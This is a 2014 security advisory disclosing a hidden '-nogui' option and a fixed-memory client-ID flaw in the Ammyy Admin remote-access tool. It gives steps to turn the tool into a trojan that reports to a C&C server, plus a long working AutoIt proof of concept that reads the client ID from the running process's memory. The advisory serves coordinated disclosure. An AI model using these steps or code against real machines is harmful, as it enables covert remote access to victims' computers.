Ammyy Admin - Hidden hard-coded option and Access Control vulnerability.

[bhadresh.k.patel () cyberoam com]

Title:
====
Ammyy Admin - Hidden hard-coded option and Access Control vulnerability.

Credit:
======
Name: Bhadresh Patel
Company/affiliation: Cyberoam Technologies Private Limited
Website: www.cyberoam.com

CVE:
====
- CVE-2013-5581 for hidden hard-coded option (CWE-255).
- CVE-2013-5582 for failure to enforce access restrictions for resources (CWE-264).

Date:
====
17-01-2014


CL-ID: 
====
CRD-2013-04 

Vendor:
======
Ammyy is in to developing cutting edge internet solutions. They have researched informational technologies and 
automation management of remote computer access services for many years. The result of their efforts is new Remote 
Access system "Ammyy Admin".

Product:
=======
Ammyy Admin is the easiest way to establish remote desktop connection. You can easily share a remote desktop or control 
a server over the Internet with Ammyy Admin. 
No matter where you are, Ammyy Admin makes it safe and easy to quickly access a remote desktop within a few seconds.
Ammyy Admin is trusted by more than 21 000 000 personal and corporate users.
Product link: http://www.ammyy.com/en/downloads.html 

Abstract:
======= 
Cyberoam Threat Research Labs discovered Hidden option and Access Control vulnerability in Ammyy Admin tool.


Report-Timeline (DD-MM-YYYY):
====================
12-08-2013: Vendor notification
13-08-2013: Vendor Response/Feedback
13-12-2013: Vendor Fix/Patch
17-01-2014: Public or Non-Public Disclosure 

Affected Version:
=============
Version (<=3.2)

Exploitation-Technique:
===================
Local

Severity Rating:
===================
CVSS Base Score 7.2 (AV:N/AC:M/Au:N/C:N/I:N/A:P)

Details:
=======
There is a Hidden option and Access Control vulnerability in Ammyy Admin tool which allows an attacker to utilize 
"Ammyy Admin tool" as a trojan horse to access computer without victim's information.
An approach to have hidden option "-nogui" along with storing "client ID" at fixed memory location could be exploited 
by an attacker to use "Ammyy Admin" as a trojan horse.

Proof Of Concept:
================
An attacker could exploit above vulnerabilities using following steps,

1) Create custom settings.rdp and settings3.bin to allow access to any "computer ID" with predefined password.
2) Use hidden option "-nogui" to run "Ammyy Amin" without the user information.
2) Acquire the client id by reading memory location "004A3658".
3) Send client id to attackers C&C server.

-------- Logs -------

###### Hidden hard-coded option (CVE-2013-5581) ######

root@bhdresh:~# strings AA_v3.2.exe | grep -i ^"-"
-f=*
- 5H
-connect
-set_proxy_
-dosas_
-elevated
-log
-lunch
-nogui
-service
-debug
-remove
-install
-outid
-setsettings
-rstid
-showversion
-notstartclient
-startclient
-minimize
-+/3


#### client ID at Fixed memory location (CVE-2013-5582) ####

=======PoC screenshot=======

http://oi42.tinypic.com/34owtoy.jpg


=======PoC autoit code to hijack client ID=======

Func _memoryopen($iv_pid, $iv_desiredaccess = 2035711, $iv_inherithandle = 1)
        If NOT ProcessExists($iv_pid) Then
                SetError(1)
                Return 0
        EndIf
        Local $ah_handle[2] = [DllOpen("kernel32.dll")]
        If @error Then
                SetError(2)
                Return 0
        EndIf
        Local $av_openprocess = DllCall($ah_handle[0], "int", "OpenProcess", "int", $iv_desiredaccess, "int", 
$iv_inherithandle, "int", $iv_pid)
        If @error Then
                DllClose($ah_handle[0])
                SetError(3)
                Return 0
        EndIf
        $ah_handle[1] = $av_openprocess[0]
        Return $ah_handle
EndFunc

Func _memoryread($iv_address, $ah_handle, $sv_type = "dword")
        If NOT IsArray($ah_handle) Then
                SetError(1)
                Return 0
        EndIf
        Local $v_buffer = DllStructCreate($sv_type)
        If @error Then
                SetError(@error + 1)
                Return 0
        EndIf
        DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", 
DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
        If NOT @error Then
                Local $v_value = DllStructGetData($v_buffer, 1)
                Return $v_value
        Else
                SetError(6)
                Return 0
        EndIf
EndFunc

Func _memorywrite($iv_address, $ah_handle, $v_data, $sv_type = "dword")
        If NOT IsArray($ah_handle) Then
                SetError(1)
                Return 0
        EndIf
        Local $v_buffer = DllStructCreate($sv_type)
        If @error Then
                SetError(@error + 1)
                Return 0
        Else
                DllStructSetData($v_buffer, 1, $v_data)
                If @error Then
                        SetError(6)
                        Return 0
                EndIf
        EndIf
        DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", 
DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
        If NOT @error Then
                Return 1
        Else
                SetError(7)
                Return 0
        EndIf
EndFunc

Func _memoryclose($ah_handle)
        If NOT IsArray($ah_handle) Then
                SetError(1)
                Return 0
        EndIf
        DllCall($ah_handle[0], "int", "CloseHandle", "int", $ah_handle[1])
        If NOT @error Then
                DllClose($ah_handle[0])
                Return 1
        Else
                DllClose($ah_handle[0])
                SetError(2)
                Return 0
        EndIf
EndFunc

Func setprivilege($privilege, $benable)
        Const $token_adjust_privileges = 32
        Const $token_query = 8
        Const $se_privilege_enabled = 2
        Local $htoken, $sp_auxret, $sp_ret, $hcurrprocess, $ntokens, $ntokenindex, $priv
        $ntokens = 1
        $luid = DllStructCreate("dword;int")
        If IsArray($privilege) Then $ntokens = UBound($privilege)
        $token_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
        $newtoken_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
        $hcurrprocess = DllCall("kernel32.dll", "hwnd", "GetCurrentProcess")
        $sp_auxret = DllCall("advapi32.dll", "int", "OpenProcessToken", "hwnd", $hcurrprocess[0], "int", 
BitOR($token_adjust_privileges, $token_query), "int*", 0)
        If $sp_auxret[0] Then
                $htoken = $sp_auxret[3]
                DllStructSetData($token_privileges, 1, 1)
                $ntokenindex = 1
                While $ntokenindex <= $ntokens
                        If IsArray($privilege) Then
                                $priv = $privilege[$ntokenindex - 1]
                        Else
                                $priv = $privilege
                        EndIf
                        $ret = DllCall("advapi32.dll", "int", "LookupPrivilegeValue", "str", "", "str", $priv, "ptr", 
DllStructGetPtr($luid))
                        If $ret[0] Then
                                If $benable Then
                                        DllStructSetData($token_privileges, 2, $se_privilege_enabled, (3 * 
$ntokenindex))
                                Else
                                        DllStructSetData($token_privileges, 2, 0, (3 * $ntokenindex))
                                EndIf
                                DllStructSetData($token_privileges, 2, DllStructGetData($luid, 1), (3 * ($ntokenindex - 
1)) + 1)
                                DllStructSetData($token_privileges, 2, DllStructGetData($luid, 2), (3 * ($ntokenindex - 
1)) + 2)
                                DllStructSetData($luid, 1, 0)
                                DllStructSetData($luid, 2, 0)
                        EndIf
                        $ntokenindex += 1
                WEnd
                $ret = DllCall("advapi32.dll", "int", "AdjustTokenPrivileges", "hwnd", $htoken, "int", 0, "ptr", 
DllStructGetPtr($token_privileges), "int", DllStructGetSize($newtoken_privileges), "ptr", 
DllStructGetPtr($newtoken_privileges), "int*", 0)
                $f = DllCall("kernel32.dll", "int", "GetLastError")
        EndIf
        $newtoken_privileges = 0
        $token_privileges = 0
        $luid = 0
        If $sp_auxret[0] = 0 Then Return 0
        $sp_auxret = DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $htoken)
        If NOT $ret[0] AND NOT $sp_auxret[0] Then Return 0
        Return $ret[0]
EndFunc

Func _memorypointerread($iv_address, $ah_handle, $av_offset, $sv_type = "dword")
        If IsArray($av_offset) Then
                If IsArray($ah_handle) Then
                        Local $iv_pointercount = UBound($av_offset) - 1
                Else
                        SetError(2)
                        Return 0
                EndIf
        Else
                SetError(1)
                Return 0
        EndIf
        Local $iv_data[2], $i
        Local $v_buffer = DllStructCreate("dword")
        For $i = 0 To $iv_pointercount
                If $i = $iv_pointercount Then
                        $v_buffer = DllStructCreate($sv_type)
                        If @error Then
                                SetError(@error + 2)
                                Return 0
                        EndIf
                        $iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
                        DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, 
"ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                        If @error Then
                                SetError(7)
                                Return 0
                        EndIf
                        $iv_data[1] = DllStructGetData($v_buffer, 1)
                ElseIf $i = 0 Then
                        DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, 
"ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                        If @error Then
                                SetError(7)
                                Return 0
                        EndIf
                        $iv_data[1] = DllStructGetData($v_buffer, 1)
                Else
                        $iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
                        DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, 
"ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                        If @error Then
                                SetError(7)
                                Return 0
                        EndIf
                        $iv_data[1] = DllStructGetData($v_buffer, 1)
                EndIf
        Next
        $iv_data[0] = $iv_address
        Return $iv_data
EndFunc

Func _memorypointerwrite($iv_address, $ah_handle, $av_offset, $v_data, $sv_type = "dword")
        If IsArray($av_offset) Then
                If IsArray($ah_handle) Then
                        Local $iv_pointercount = UBound($av_offset) - 1
                Else
                        SetError(2)
                        Return 0
                EndIf
        Else
                SetError(1)
                Return 0
        EndIf
        Local $iv_structdata, $i
        Local $v_buffer = DllStructCreate("dword")
        For $i = 0 To $iv_pointercount
                If $i = $iv_pointercount Then
                        $v_buffer = DllStructCreate($sv_type)
                        If @error Then
                                SetError(@error + 3)
                                Return 0
                        EndIf
                        DllStructSetData($v_buffer, 1, $v_data)
                        If @error Then
                                SetError(8)
                                Return 0
                        EndIf
                        $iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
                        DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, 
"ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                        If @error Then
                                SetError(9)
                                Return 0
                        Else
                                Return $iv_address
                        EndIf
                ElseIf $i = 0 Then
                        DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, 
"ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                        If @error Then
                                SetError(3)
                                Return 0
                        EndIf
                        $iv_structdata = DllStructGetData($v_buffer, 1)
                Else
                        $iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
                        DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, 
"ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
                        If @error Then
                                SetError(3)
                                Return 0
                        EndIf
                        $iv_structdata = DllStructGetData($v_buffer, 1)
                EndIf
        Next
EndFunc

Func _memorygetbaseaddress($ah_handle, $ihexdec = 0)
        Local $iv_address = 1048576
        Local $v_buffer = DllStructCreate("dword;dword;dword;dword;dword;dword;dword")
        Local $vdata
        Local $vtype
        If NOT IsArray($ah_handle) Then
                SetError(1)
                Return 0
        EndIf
        DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", 
DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
        If NOT @error Then
                $vdata = Hex(DllStructGetData($v_buffer, 2))
                $vtype = Hex(DllStructGetData($v_buffer, 3))
                While $vtype <> "00000080"
                        DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, 
"ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
                        $vdata = Hex(DllStructGetData($v_buffer, 2))
                        $vtype = Hex(DllStructGetData($v_buffer, 3))
                        If Hex($iv_address) = "01000000" Then ExitLoop 
                        $iv_address += 65536
                WEnd
                If $vtype = "00000080" Then
                        SetError(0)
                        If $ihexdec = 1 Then
                                Return Dec($vdata)
                        Else
                                Return $vdata
                        EndIf
                Else
                        SetError(2)
                        Return 0
                EndIf
        Else
                SetError(3)
                Return 0
        EndIf
EndFunc

Func _memorymodulegetbaseaddress($ipid, $smodule)
        If NOT ProcessExists($ipid) Then Return SetError(1, 0, 0)
        If NOT IsString($smodule) Then Return SetError(2, 0, 0)
        Local $psapi = DllOpen("psapi.dll")
        Local $hprocess
        Local $permission = BitOR(2, 1024, 8, 16, 32)
        If $ipid > 0 Then
                Local $hprocess = DllCall("kernel32.dll", "ptr", "OpenProcess", "dword", $permission, "int", 0, 
"dword", $ipid)
                If $hprocess[0] Then
                        $hprocess = $hprocess[0]
                EndIf
        EndIf
        Local $modules = DllStructCreate("ptr[1024]")
        Local $acall = DllCall($psapi, "int", "EnumProcessModules", "ptr", $hprocess, "ptr", DllStructGetPtr($modules), 
"dword", DllStructGetSize($modules), "dword*", 0)
        If $acall[4] > 0 Then
                Local $imodnum = $acall[4] / 4
                Local $atemp
                For $i = 1 To $imodnum
                        $atemp = DllCall($psapi, "dword", "GetModuleBaseNameW", "ptr", $hprocess, "ptr", 
Ptr(DllStructGetData($modules, 1, $i)), "wstr", "", "dword", 260)
                        If $atemp[3] = $smodule Then
                                DllClose($psapi)
                                Return Ptr(DllStructGetData($modules, 1, $i))
                        EndIf
                Next
        EndIf
        DllClose($psapi)
        Return SetError(-1, 0, 0)
EndFunc

#EndRegion

Func _memreaddll($dll, $offset, $ah_handle, $sv_type = "dword")
        $staticoffset = Dec($offset)
        $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
        $finaladdr = "0x" & Hex($baseaddr + $staticoffset)
        $memtest = _memoryread($finaladdr, $ah_handle, $sv_type)
        Return $memtest
EndFunc

Func _memwritedll($dll, $offset, $value, $ah_handle, $sv_type = "dword")
        $staticoffset = Dec($offset)
        $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
        $finaladdr = "0x" & Hex($baseaddr + $staticoffset)
        $memtest = _memorywrite($finaladdr, $ah_handle, $value, $sv_type)
        Return $memtest
EndFunc

Func _memwritedllbytearray($dll, $offset, $ah_handle, $v_array)
        Local $staticoffset = Dec($offset)
        Local $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
        Local $finaladdr = "0x" & Hex($baseaddr + $staticoffset)
        Local $memtest = _memorywritebytearray($finaladdr, $ah_handle, $v_array)
        Return $memtest
EndFunc

Func _memorywritebytearray($iv_address, $ah_handle, $v_array)
        If NOT IsArray($ah_handle) Then
                SetError(1)
                Return 0
        EndIf
        If NOT IsArray($v_array) Then
                Return 0
        EndIf
        Local $emax = UBound($v_array)
        Local $bytestring = ""
        For $i = 0 To $emax - 1
                $bytestring = $bytestring & "byte;"
        Next
        Local $v_buffer = DllStructCreate($bytestring)
        If @error Then
                Return 0
        Else
                For $i = 1 To $emax
                        DllStructSetData($v_buffer, $i, $v_array[$i - 1])
                        If @error Then
                                Return 0
                        EndIf
                Next
        EndIf
        DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", 
DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
        If NOT @error Then
                Return 1
        Else
                SetError(7)
                Return 0
        EndIf
EndFunc

FileChangeDir(@TempDir)
FileDelete("id")
$id = ProcessExists("AAv3.exe")
Local $file = FileOpen("id", 1)
$memoryopen = _memoryopen($id)
While 1
        $mem_read1 = _memoryread("0x" & "004A3658", $memoryopen)
        If NOT $mem_read1 = "" Then
                MsgBox(0, "Cyberoam Threat Research Labs", $mem_read1)
                FileWrite($file, $mem_read1)
                ExitLoop 
        EndIf
        Sleep(100)
WEnd
_memoryclose($memoryopen)

==========================================
-------------------------- 

Caveats / Prerequisites:
======================
The attacker needs to entice victims to perform an action in order to exploit this vulnerability.


Risk:
=====

The security risk of Hidden option and Access Control vulnerability is estimated as High.

Credits:
=======
Cyberoam Threat Research Labs - Bhadresh Patel

Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Any modified copy or reproduction, 
including partially usages, of this file requires authorization from Cyberoam Threat Research Labs. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Cyberoam Threat Research Labs.

The first attempt at contact will be through any appropriate contacts or formal mechanisms listed on the vendor Web 
site, or by sending an e-mail with the pertinent information about the vulnerability. Simultaneous with the vendor 
being notified, Cyberoam may distribute vulnerability protection filters to its customers' IPS devices through the IPS 
upgrades. 
If a vendor fails to respond after five business days, Cyberoam Threat Research Labs may issue a public advisory 
disclosing its findings fifteen business days after the initial contact.

If a vendor response is received within the timeframe outlined above, Cyberoam Threat Research Labs will allow the 
vendor 6-months to address the vulnerability with a patch. At the end of the deadline if a vendor is not responsive or 
unable to provide a reasonable statement as to why the vulnerability is not fixed, the Cyberoam Threat Research Labs 
will publish a limited advisory to enable the defensive community to protect the user. We believe that by doing so the 
vendor will understand the responsibility they have to their customers and will react appropriately.
Cyberoam Threat Research Labs will make every effort to work with vendors to ensure they understand the technical 
details and severity of a reported security flaw. If a product vendor is unable to, or chooses not to, patch a 
particular security flaw, Cyberoam Threat Research Labs will offer to work with that vendor to publicly disclose the 
flaw with some effective workarounds.
Before public disclosure of a vulnerability, Cyberoam Threat Research Labs may share technical details of the 
vulnerability with other security vendors who are in a position to provide a protective response to a broader user base.
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